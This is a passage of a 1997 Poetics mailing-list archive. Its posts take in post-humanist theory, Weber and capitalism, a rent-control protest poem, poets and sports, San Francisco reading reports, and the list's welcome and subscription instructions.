if i hazard a reckless summary bear with me: but the vaguely humanist yearnings in some postings on this thread and the post-humanist critiques of the former lead me to wonder if there is not a need (being filled?) for a post-humanist humanism. if so what name does it go by? what i mean is that there seems to be this rather humanist nostalgia for some sort of meaning and significance defined by a universalist particularization of the individual that competes with a post-structuralist decentering of the individual. in this discursive encounter i wonder if there is a way of reconciling these discourses. i believe charles altieri takes on this issue somewhere--is someone up on his stuff?

jeffrey

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782. **Jeffrey W. Timmons**
Re: divine continued
Tue 22 Apr 1997

On Tue, 22 Apr 1997, Dale Smith wrote:

> *I do not like using this kind of highfallutin, distant and conceptual language.*

but youre not.

> *But what you, Mark Wallace lack, as well as myself in this instance, is personal testimony, concrete examples, a language dedicated, like good poetry, to the contradictions and myriad pressures of experience.*

"i drive a truck all day
[like everyone else who earns their living]
and when i come home
and turn on the tv
[like everyone else who owns a tv]
and watch friends
[like everyone else on thursday nights]
i get really pissed at those nike commercials
with william burroughs
[like everyone else who....]
because he aint even writing
and making a big pay check."

jeffrey timmonss/snommit yerffej

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783. **Christopher Alexander**
Looking for Mr. Goodba--no, Joe Napora
Tue 22 Apr 1997

Alright, Joe Napora, come on out, I give up.
I've been looking through the archive for any
mention of *BullHead* & how to get it but I

just can't seem to find it, even on the mag list
(Thank you, Spencer Selby) posted last October,
nor can I find your address for that matter. We

all know you're in here somewhere, so "don't you
think it would be best for all concerned if we
just took care of this matter quietly right now?"

Chris
..
Christopher Alexander, etc.
nominative press collective
160S 1300E #16
Salt Lake City UT 84102
[redacted]

n/formation issue 1.1 now online:
http://choengmon.lib.utah.edu/~calexand/nonce

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784. Rachel Loden
no no nanook(ie)
Tue 22 Apr 1997

David Bromige wrote:

> *This "Subject" is one of my alltime favorites for its knotting of various possible and (barely?) relevant threads--i wonder herb@_eskimo_ hasnt responded.*

Dear David, Herb (being a man of some refinement) never enters these sordid revels--probably still disgusted at being assigned fictional custody of a certain "object" during the Bowering wars of last summer.

Speaking of objects, underwear, and the man, are you sure you mean Everlast and not EverReady?

RL

"Just when I thought I was out, t h e y p u l l m e b a c k i n !"
--Michael Corleone in Godfather 3

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785. Herb Levy
Re: no no nanook(ie)
Wed 23 Apr 1997

> *This "Subject" is one of my alltime favorites for its knotting of various possible and (barely?) relevant threads--i wonder herb@_eskimo_ hasnt responded.*

Huh?

But David, I don't think I've ever seen any Canadian underwear. (Robert Mittenthal has, on occasion, mentioned a pair of dainty hand-washables that was left in his spare room by some visiting, uh, dignitary in the early [redacted] days. But despite Robert's offers/threats, I've never set eyes on this particular artifact.)

Oh, wait, come to think of it, I'm actually wearing Canadian underwear right now, as I type this.

If, that is, the t-shirt of BlaserCon '94 counts as such.

Herb Levy
[redacted]

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786. Joseph Zitt
Re: http://poetry.miningco.com
Wed 23 Apr 1997

[redacted] wrote:

> *Like everybody else, I wasn't a Jew*
> *Until I came to New York. In Portland, OR,*

Hm. I sometimes feel like I wasn't as much a Jew until I moved *out* of New York, to a place where being Jewish was something distinctive that had to be explained to people. I only started to really grok Jewishness when I had something to contrast it too.

I'm looking forward to your performance at the Knitting Factory Seder tonight. I'll be tuning into the Webcast, as I did last night. --
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

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787. Mark Wallace
individuality and capitalism
Wed 23 Apr 1997

For anybody interested in looking at the relation between individuality and capitalism Max Weber's THE PROTESTANT WORK ETHIC AND THE SPIRIT OF CAPITALISM traces this relation, and his other work follows through on many of the implications of that book.

For Weber, the work ethic begins in a communal process of self-denial, opposed to individualism, that allows the group to build business and capitalist

power through a devotion to continued profits at the expense of self-gratification. In later phases of this development, the increasing profits of the capitalist economy erode the original communal base, fostering the idea of individual success at the expense of the group--and thus, in the long run, destroying its own power system. In this reading, then, capitalism creates individualism, while at the same time individualism creates a new form of capitalism, one based on indulgence of the self at the expense even of the power of the business--a capitalist ethic that, in this country, finally became utterly dominant in the era of leveraged buyouts and corporate raiders, who often found that they could make more individual profits by DESTROYING businesses that were making too much money.

Certain of Weber's takes on particular matters have been shown to be false; nonetheless, I've seen no successful rejection of its basic thesis. Cornell West, for one, continues to look to Weber's work as one of the main bases of his own thinking about capitalism.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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788. Maria Damon
Re: that marianne moore poem
Wed 23 Apr 1997

thanks to everyone who responded; about 4 folks or more actually typed the poem into the machine, others offered to fax, others gave page #s in anthologies or directed me to websites. you guys are the greatest research team ever! i now head off to sunny new brunswick, armed avec la grande poeme de la moore. my paper's unmanageably long, ungepachet, unwieldy...please be nice, yall who'll be there, xo md

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789. Brenda Ellen Uchman
Poem for Rent
Wed 23 Apr 1997

Poet Demands State Senate Pay Rent for Poem

For Immediate Release:
April 23, 1997
For additional information contact:
Brendan Lorber
212/[redacted]

Poet and publisher Brendan Lorber is adding his voice to the protest against the end of rent regulations in New York. This Wednesday he will send a poem to every state senator on behalf of the millions of tenants who will be forced from their homes if regulations are terminated. But he isn't just giving the legislators a piece of his mind -- he's renting it to them.

"Poem for Rent" is a 12-page page booklet with drawings by Lorber throughout. The back cover explains, "This spacious well-lit poem with western exposure and plenty of closet space is the property of Brendan Lorber. It is being rented to you." Underneath is a request that the senators remit payment according to one of three rental plans. If they are in favor of rent control, the book is theirs for 15 cents a month. If they prefer rent-stabilization it's an affordable 25 cents. If they are against all regulations the book is $1,500 a month. "The senators should pay whatever they think is right," Lorber said. "If a majority opposes regulations, the senate will owe me about $45,000 by the first of May."

Asked if he thought the state legislature would actually pay their rent, he said, "Well I hope the senators don't turn out to be a gang of squatters."

"Poem for Rent" is an ironic poem that challenges the senate to consider the effect of its actions. With a refrain of "Cast your ballots," Lorber unfolds a litany of injuries New York City will suffer if regulations expire: from increased homelessness to the exodus of the city's working & middle class. Even parking will become more difficult, with families living in their cars. Both landlords and tenant groups agree that rents will skyrocket with deregulation. The only thing standing between hundreds of thousands of New Yorkers and the street is the state legislature. And "Poem for Rent" is an indication that New Yorkers won't stand by silently while their representatives fail to represent them. In the poem, Lorber writes, "Who'll live here after I'm cast / from my one-bedroom with brick wall view? / Maybe Governor Pataki after he's voted from office." Discussing the situation, he added, "What makes New York unique is the diversity of its residents. Once we're forced out, what's left?"

"Unless we all act now, tourguides of the future will say, 'Welcome to New York City, the only city in America populated solely by millionaires and homeless people. To the north is Harlem, a vibrant center of the African-American community before the African-Americans were forced out. To the south is the Village, home to thousands of the country's most talented writers and artists

before they too were forced out. Across the East River is Brooklyn, called the City of Churches before all the parishioners were evicted. And here is Central Park, the emerald prize of the city before it became the world's largest shanty-town.'"

Brendan Lorber, 27, is a New York native, raised in Greenwich Village. His work has appeared in the Village Voice and the Chicago Tribune as well as numerous other publications. He is also the publisher and editor of LUNGFULL! Magazine, a national literary journal that supports emerging and established writers. He has performed his work throughout the country and in Australia and has made numerous radio and television appearances.

# # #

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790. **Herb Levy**
Re: no no nanook(ie)
Wed 23 Apr 1997

> *This "Subject" is one of my alltime favorites for its knotting of various possible and (barely?) relevant threads--i wonder herb@_eskimo_ hasnt responded.*

Oh, jeez, I'm slow sometimes.

nanook/eskimo

I don't think of "eskimo" in <eskimo.com> as a word. I rarely even see it at all. It's just part of a label that I never have to type, it's the default in the settings for my e-mail program.

& when I turned 58, way back when, someone had to point out to me the synchronicity of living on NE 58th St.

Herb Levy
[redacted]

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791. **Pierre Joris**
Re: "As a matter of fact, i do, Cubby"
Wed 23 Apr 1997

Dave Zauhar wrote:
>
> >>
> >> And given Spicer's love of baseball, any poets (here or there) with a
> >> love of BASKETball?

> >>
> >
> >Well, not in this household, but back on the WC, San Diego way, Quincy
> >Troupe, son of a basketball player, player near-pro himself til is knee
> >quit on him, has had basketball themes run through his work all along.
>
> Is this true? (not the stuff about the themes, etc). I know that Quincy
> Troupe's father, Quincy Trouppe, played in the Negro leagues from 1930
> until their demise (for the KC Monarchs, Homestead Greys, the Chicago
> American Giants, and others), and then briefly in the majors. This wouldn't
> leave much time to play basketball seriously. But then again, in those days
> you didn't get rich playing baseball, esp. in the Negro Leagues, so I can
> see where he would have had to barnstorm at hoops too, to make a living.
>
> Dave Zauhar

Oops, Dave, my mistake -- yes, of course, Quincy's father was a baseball
player, not a basketball player -- guess I's just an ole european & get
my 'merikan games mixed up from time to time -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

792. **Pierre Joris**
Re: ReHoops
Wed 23 Apr 1997

Fred Muratori wrote:

> *An interesting sport to bring up in the company of poets is golf. I once mentioned that I played -- or was trying to -- and was immediately brought*

> *up short by another poet who gave me a lecture about how poetry and golf were incompatible, morally so, as I remember.*

Fred -- trhere is of course Toby Olson, lovely poet & novelist & golfer who has a splendid book of the latter variety that deals with golf. -- Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

793. **Charles Bernstein**
Welcome Message
Wed 23 Apr 1997

Rev. 3-4-97

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

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6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss Pequen~o Glazier ([redacted]), and in coopeartion with Joel Kuszai ([redacted]).

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

The "list owner" of Poetics is Charles Bernstein: contact him for further information. Joel Kuszai is list manager. For subscription information contact us at [redacted].

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*
If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot always decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to
message
blank. In the body of your e-mail message type:

review poetics

or

review POETICS by name

(which will give you the list alphabetically by name)

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally

innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC;

in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

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794. Rebecca Reynolds
Re: articulated skeletons
Wed 23 Apr 1997

Perhaps I am more of an individual as I lurk, or flit? (Or flitter.) But note that flitting is always shy of fitting . . .

And what does happen if I a-r-t-i-culate myself? Enter the "social contract" (to become bone)? Or is my skin my individuality? At what point do I become responsible for the form (or content?) of myself? This flesh is my appetite, my fondness for . . .

Shall I be lost if you find me?

Rebecca (without doubt)

↑ Index

795. Matthias Regan
Two thoughts: Backwoods Broadsides
Wed 23 Apr 1997

Sylvester Pollet & List--

Let me add my voice in praise of Backwoods Broadsides--I have been grossly neglecting a variety of correspondences & near the top of this list for months has been a thank you to SP for his carefully edited & beautifully presented series. The latest two ("A Real Toad" & "Between Ourselves") arrived last week & are as absorbing as the back issues I selected before. The length of the broadsides is fascinating: Peter Money's has as many poems as a short chap book, while Anne Tardos presents a group of drawings which, unfolded, might be one image: so SP has taken two pieces of paper & turned one into a drawing you could hang on your wall and the other into a book you'd keep in your shelf--I explain it poorly but order them and see for yourself!

Matthias

↑ Index

796. **simon**
Re: ReHoops
Wed 23 Apr 1997

"Fast Break" comes to mind.

beth simon

↑ Index

797. **KYLE CONNER/LRC-CAHS**
Re: New Brunswick/Rutgers fete
Wed 23 Apr 1997

Does anyone know anything about the upcoming poetry fete this weeknd att Rutgers-New Brunswick, such as hoo win ware $? info greatly appreciated. one could backchannel me.

yours,

kyle conner

↑ Index

798. **Joseph Lease**
Re: Two thoughts: Backwoods Broadsides
Wed 23 Apr 1997

I just want to add my praise for SP's wonderful backwoods broadsides: strong and eloquent and independent work, tremendously valuable

↑ Index

799. **Daniel Bouchard**
Re: Poem for Rent
Wed 23 Apr 1997

Good for Brendan Lorber!
& May what happened in Massachusetts, not come to pass in New York.

Since rent control was banned in Massachusetts, former rent control tenants (aka "protected status") have faced rent increases anywhere from 50-300%. What have cities done to help all the people who are now vulnerable to "market rates?" Nuttin. Except, in Cambridge at least, the city has set up a board to "as-sist" people in moving out of their apartments and, since all the rents in the city have skyrocketed, effectively move out of the city. Left on their own, city

government does this kind of thing, and then they praise themselves for it in the press.

There are alternatives though (for anyone in NY, or anywhere else facing this situation).

Last week, after months of campaigning, tenant organizing, lobbying, etc., a group called the Eviction Free Zone saw through city council orders in Cambridge that 1) transferred over 1 and 1/2 million dollars into the Affordable Housing Fund (from the "free cash" coffer) and 2) designed a transfer tax on residential sales in Cambridge--with the first $300,000 exempted that will provide a substantial revenue for replenishing affordable housing funds. This is going to the State House in a week or so, where Governor Weld has already stated that he will veto ANY taxation bill that does not have a local referendum attached to it. So in the drafting of the bill, the EFZ insisted that such a referendum be attached. We are very confident of being able to see that it passes in the fall. Next on the agenda is securing a 20 million dollar bond for the immediate purchase of apartment buildings on the market to be made permanently affordable housing.

It's incredible the arguments that were made against all of our efforts. I am growing confident that the real estate interest is second in power in this country only to the military/defense interest. One argument: "if we put through this transfer tax it will hinder young and struggling families from buying homes in Cambridge." A glance at the Sunday house advertisements indicate the median price range for a house in this city to be well beyond the means of any "young and struggling families." In fact, I have come across more than enough families who have lived in Cambridge all their lives and who cannot afford it anymore. Their children will have to settle elsewhere.

Anyway, it's been a long road, and it's certainly far from over. Hours of meetings and talk complicated by time given for both Creole and Hispanic translators, etc. But it can be done, and good luck to anyone facing this dismal prospect. Back channel me if you want more info. on the work we've done here.

[redacted]

Brenda,

How can I get a copy of Lorber's poem?

↑ Index

800. Steve Carll

April is the Readingest Month

Wed 23 Apr 1997

Saturday, Sunday, Monday, and Tuesday (April 12th-15th) constituted a grand slam of poetry to rival January's Triple Crown.

Saturday in Golden Gate Park was the 2nd Antenym contributors' reading. Although the weather was a mite cloudier than the previous Saturday, it was fairly warm and there were plenty of critters about to punctuate the readings, including a beautiful orange feral cat (recently feral, apparently: still had a collar) and an insistent quail.

Douglas Powell went first, reading several witty and smart poems from which I'd like to quote, but someone had borrowed my pen, so the only one I can regale you with is the one he spun off of Ginsburg, which went something like this:

the mind is a shapely genital, and a face is a fig leaf.

Then recent S.F. transplant Rob Hale, who had several family members in attendance, got up in a sharp suit and read from a series which has several pieces in _Antenym_ 12:

these days have been mauve--but that doesn't sound possible
the mesh of so many laws allows the big fish to go free
in a small room, a large heart enclosed in a body
my country is a model of water purification
in the heart, there is another heart, clean as the sea. But the sea isn't clean.
the mirror doubles as a bee's nest
the irony, or whatever

Finally we got to hear what George Albon's been writing lately. But first he read a bit from Osip Mandelstam:

continent lifting itself on paws out of the sea.

George read from _Rehabilitation_:

what is hound?
terratoma, brain-compass
what is map?
slice sphere involving compromise
pirates in the green space making [...]
wrestlers fall, fall, fall
with each thud a portion of the metaphysic escapes
the first day of more day

Chris Daniels, Darin DeStefano, Eric Selland (I think), my sister, my cousin, my nephew were among those spotted in the audience, and after the reading my relatives and I went to a cafe and then to Mission Street to have burritos and visit the new head shop on 24th St. (man they want a lot of money for those lava lamps)

On Sunday at the 3300 Club there was a reading for John High's new book _The Sasha Poems_ featuring John and Harry Polkinhorn. Four people signed up for the open mic which was intended to follow (actually five, but one got cold feet or something and didn't answer when called), but it was decided to have two of us warm up instead. Jack and Adelle Foley went first, reprising the work (re-assembled from Ginsburg lines about death) that got them on the front page of the _Examiner_. Then I read a couple short poems, one from the new _Antenym_ and the other from my notebook (turns out it's still in need of some punctuation).

John was ready by then, and read several of the Sasha Poems, begun both as a way of dealing with despair and a way of communicating with his young daughter. Some lines I particularly liked were:

she healed herself and even the dead one found it pleasing
the chanting, like smoke, lifting from the Siberian snow
the moon so blue, chilled
there are those who listen to this music, and those who color its sound
all these abandoned shoes, walking about the windmills to the south
a winged butterfly moving toward the predawn face
what happened to the father that he is distracted by the voice of God?

There was a short break that allowed the assembled to mingle and order more drinks. (The assembled being, among others, Thoreau Lovell, Michelle Murphy, Andrew Joron, Don Hilla, Jandy Nelson, Jonathan Hayes, Joseph Aukee, Laurie Amat, Norman Fischer, and Anne (Andrew, was that Anne Lamott or another Anne?). I happened to mention to John that I had just turned 30, and Jandy said I must be having my Saturn return (right she was!)

Back to the reading. Harry Polkinhorn, up from San Diego, read from three works, "Stein", _Mount Soledad_, and _Throat Shadows_, which contained lines such as the following:

an ambiguous power over the falconry of desire
egregious positing of [sorry, didn't get the word here] looks-at-you
your body exploded in its own manner of speaking
sucking the circular brilliance of the upper world into my own eyes
a present person does not mirror an absent one

Jonathan Hayes and one other open-mic reader later, we were deep into the lasagna some wonderful person had made (was it proprietor Nancy Keane, as I assume?) and conversation. Jandy and I took the astrology route (though I won't bore anyone else with the details, except to say that Jandy's a Sagittarius with Pisces rising).

Cut to Monday night at Canessa Park, where series curator read with Ron Silliman. Good crowd for a Monday night, including Brian Lucas, Norman Fischer, Eric Selland and Naoko, Colleen Lookingbill, Steve Tills, Spencer Selby, Kevin Killian, Norma Cole, Lyn Hejinian, Kit Robinson, Leslie Scalapino, Paul Hoover, Maxine Chernoff and Steve Vincent.

Avery read two translations of Salvatore Quasimodo that appear in _lyric&_ #5, and from his manuscripts _Differing Senses of Motion_ and _The City Speaks in Many Tongues_.

the lizard in dormant awe
my scar-filled bean
trees running into each other at 70 miles per hour
starry richness of night?!
this rain is a sign of rain
"things are in the saddle and ride mankind"--Ralph Waldo Emerson
blinded by the not quite sunset
source as silence
cotton is king again

Ron, introduced as still probably the most effective anthologizer (I'm paraphrasing) of "the Formerly Known as Language Poets", then read from _Ketjak II_, which he said he's been working on since 1988 or -9:

memories of underdevelopment
for each and every sentence, an equal and opposite sentence
the odor from the cud of their great truck
definition itself is a form of Manhattan
the whale that ate Liberty Valance
brushing dead leaves off of dry poets
Antarctica has no legal time
Vanpools of the night, unite!
is seriousness boredom come of age?

Then on the 15th at New College, Eileen Myles read to a packed house in the Cultural Center. Lyn Hejinian, Gloria Frym, Jean Day, Michael Price, Shauna Hannibal, Kevin Killian, Dodie Bellamy, Giovanni Singleton, Bob Gluck and Alison were in the house as Eileen rolled poems off her tongue in a thick New York accent:

even the millennium is unspeakably long
I'm beginning to trample you all with my big ass daily
it's the openness of summer that disturbs me
there may come a day when my dog will eat cat food
the blood in the eyes of the cars
under the spotlight--eep!
he's like a big posing gondola
we must offer ourselves up as food or eat someone
not a poet, but a donut or a myth
prose fills the window and becomes abstract
now that we're through virtual reality, we can try virtue, that might work
the word wiggly describes my desire
I believe in you like a door that returns

and a poem that Eileen was pleased to report she heard through the lesbian grapevine that Adrienne Rich had giggled at, which reads in its entirety (of course I'm omitting any line breaks that may exist in the original):

Her tongue and her heart were throbbing in the holster of her pussy.

Coming soon: my report on some more S.F. readings....

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

801. **henry**
Re: horse apples
Wed 23 Apr 1997

On Tue, 22 Apr 1997 17:43:50 -0400 Bobbie West said:
>Henry Gould wrote:
>
>>(as my Uncle George used to sing: "What's the color of horse manure?
>>Brown, Brown, Brown.")
>
>As we all know, the color of horse manure depends on whether it's fresh or

>well-aged. Uncle George obviously prefers the well-aged variety, since fresh
>horse apples are green, green, green.

Actually, this became quite an issue between Uncle George & me. He claimed poetic license based on an obscure tradition from Taigetos, a wild region of northern Greece (horse country, for sure), where they practice something called aeiphatosmosastoupoulos, or "satire using horse manure imagery". I said he was just making fun of my institutionalization of hired learning. I'll be reading transcripts from our recorded dialogues from Fargo, MN at the poetry & public shusphere conference at Rutgers, in room 101 (across from the men's room). - Henry Gould

↑ Index

802. Jordan Davis
Re: Rukeyser Reprints
Wed 23 Apr 1997

Same address as Poetry City, to wit:

Teachers & Writers Collaborative
5 Union Square West, 7th Floor
New York NY 10003-3306

ph [redacted]
fax [redacted]

email (me) [redacted] or [redacted]

Don't forget to come this THURSDAY at 7 PM
to hear Maureen Owen and Ed Berrigan

Jordan

On Tue, 22 Apr 1997, LYNES- KATHERINE wrote:

> *Jordan Davis wrote:*
>
> *Pierre == Muriel Rukeyser's being celebrated here at Teachers & Writers on May 8 (reservations required, call now).*
>
> *where is "here"? kl*

↑ Index

803. **Mark Prejsnar**
Re: A Tale of Two Cities (part one): Berkeley White
Wed 23 Apr 1997

Aldon--

Report on the whiteness conference is fabulous..As someone who's interested in all these issues (and consider 'em very germane to poetry), I found this helpful and fascinating.

This kind of thing is a major service, at least to me. (..in a very different way I also value the I-was-there reports of Steve Carll, the Michael Musto of the SF poetry scene; useful for the deprived who unfortunately are not (there)....)

from the isolate outback
of the cotton and poetry
plantation,

Mark P.

↑ Index

804. **henry**
Re: Poem for Rent
Wed 23 Apr 1997

---

this is great. I'm gonna try to read this post at our little conclave tonight on the public role of poetry.

- Henry of the Giordano Bruno Palaver Palace

"God created prairie dogs. Then he let them do the rest." - Jack Spandrift

"You know, old boy, there's a poem there somewhere."
- Eric Blarnes

"God exists in my own mind & he has a hell of a case of cabin fever." - Henry Gould

↑ Index

805. **henry**
Re: individuality and capitalism
Wed 23 Apr 1997

Once upon a time there was a village in the hills called Squattle Falls. People worked hard just to keep the mill open and the jail closed and the furnace running and the plow polished and the grill hot and the potatoes fried. Everybody knew everybody (and that includes Jodie & Bob over on Lilac Lane). Barnet S. Robinson of the distinguished sherriff & militia clan of Robinsons owned a lot of

property (right up against Governor Limpet's estate) & he got richer & richer in a single-minded way. His kids were spoiled rotten except Leonard became one hell of a lawyer & Louise is now chairwoman of the D.A.R. for Junta County. Now the Robinson Tool Works is owned by a southeast Asian conglomerate, and everybody works hard just to make ends meet. Sprint Blodgett set up a website for Squattle Falls, can you believe it or not. You can find out more about us at http://bingo.individuals.org. Or just ask Professor Weber over there at State U. He's done a book that sure pulls it all together, yah.

- Herbert J. Antintellectualatall (a real person!)

↑ Index

806. **Dave Zauhar**
Re: "As a matter of fact, i do, Cubby"
Wed 23 Apr 1997

> *And given Spicer's love of baseball, any poets (here or there) with a love of BASKETball?*
>
> *Well, not in this household, but back on the WC, San Diego way, Quincy Troupe, son of a basketball player, player near-pro himself til is knee quit on him, has had basketball themes run through his work all along.*

Is this true? (not the stuff about the themes, etc). I know that Quincy Troupe's father, Quincy Trouppe, played in the Negro leagues from 1930 until their demise (for the KC Monarchs, Homestead Greys, the Chicago American Giants, and others), and then briefly in the majors. This wouldn't leave much time to play basketball seriously. But then again, in those days you didn't get rich playing baseball, esp. in the Negro Leagues, so I can see where he would have had to barnstorm at hoops too, to make a living.

Dave Zauhar

↑ Index

807. **Fred Muratori**
Re: ReHoops
Wed 23 Apr 1997

>>And given Spicer's love of baseball, any poets (here or there) with a
>>similar love of BASKETball?
>>
>>bill marsh
>

You bet. Stephen Dunn certainly is -- in fact I think he played semi-pro in Spain for a while in his youth. Other versifying NCAA fans -- and Syracuse fans at that!-- are Robert Lietz and yours truly. I think Garrett Hongo's a hoops fan, too, but I'm basing that on a poem of his so take it for what it's worth.

It does seem, though, that if a poet dares admit to liking a sport, baseball is the safe one, probably because it's slow, and therefore "poetic." That whole gauzy (but yes, attractive) _Field of Dreams_ thing. An interesting sport to bring up in the company of poets is golf. I once mentioned that I played -- or was trying to -- and was immediately brought up short by another poet who gave me a lecture about how poetry and golf were incompatible, morally so, as I remember. This, however, came from someone who had never played the game, and who assumed that only rich stockbrokers indulged, ignorant of the fact that almost every summer weekday evening the links are crowded with hard workin' factory folk tearing up the fairways with their company leagues. Par to the people.

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

↑ Index

808. **Mark Weiss**

Re: horse apples

Wed 23 Apr 1997

---

when I was a child I spent summers in camps in the mountains of pennsylvania with a bunch of other urban kids. by analogy with snowballs, we used to have manure fights. This makes me something of an expert. The lady has it. The deal was to find a turd that had dried enough so that it could be molded into a proper sphere but fresh enough so that it would still cause offence.

What a relief to tell the story. I have been afraid that this piece of folklore would die with me and the world be impovrished by its loss.

At 05:43 PM 4/22/97 -0400, you wrote:
>Henry Gould wrote:
>

>>(as my Uncle George used to sing: "What's the color of horse manure?
>>Brown, Brown, Brown.")
>
>As we all know, the color of horse manure depends on whether it's fresh or
>well-aged. Uncle George obviously prefers the well-aged variety, since fresh
>horse apples are green, green, green.
>
>B.W. (a former surf lurker grazing on Henry's turf.)
>
>

↑ Index

809. **Colin Browne**
Re: desublimation/eliade
Wed 23 Apr 1997

> *For more on Eliade see Norman Manera's essay "Felix Culpa" in his ON CLOWNS: THE DICTATOR AND THE ARTIST (NY: Grove Weidenfeld, 1992). CB*

↑ Index

810. **Mark Weiss**
Re: ReHoops
Wed 23 Apr 1997

